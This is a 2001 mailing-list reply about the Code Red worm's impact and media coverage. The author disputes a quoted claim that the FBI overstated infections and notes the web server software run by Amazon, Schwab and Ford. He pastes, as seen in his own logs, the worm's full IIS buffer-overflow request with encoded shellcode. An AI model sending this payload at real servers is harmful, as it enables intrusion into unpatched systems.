Looks like the Red Herring is a Red Herring ...
On Thu, 2 Aug 2001, Bernard Robertson-Dunn wrote:
> Seen on Politech
Yup.
[schnippe]
> would any self-respecting 24-hour cable news network want to show a
> housewife trying to struggle with a virus-infected home computer operating
> Windows 95? Better to capture viewers' attention with hordes of computer
> programmers and managers wrestling with downed web sites at Ford, Xerox,
> Charles Schwab, and Amazon.com.
Amazon.com runs on Unix using Apache/Stronghold.
Schwab runs on Solaris using Netscape-Enterprise.
Interestingly, the websites for Ford USA, Ford Canada and Ford UK
were offline when I first checked five minutes ago.
But now:
Ford.com, Ford.ca and For.co.uk are running Microsoft-IIS on Windows 2000.
Well, 1 out 3 ain't good.
I presume the Ford sites are bouncing around their respective ops rooms
like rubber balls.
> POSTSCRIPT:
>
> Not getting the media bounce from the 8:00 PM EST Code Red meltdown hour on
> July 31 (nothing happened!), the FBI began spinning the story the very next
> morning that 22,000 computers had been hit with Code Red. Considering that
> viruses and worms probably strike many more computers than that on any
> given day, 22,000 is a relatively low number.
Crap. My home network and a that of a fellow worker are getting hit
with the exploit all day today. The exploit looks like this:
GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
Cheeries,
Rick W
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"Those who do not understand Unix are condemned to reinvent it, poorly."
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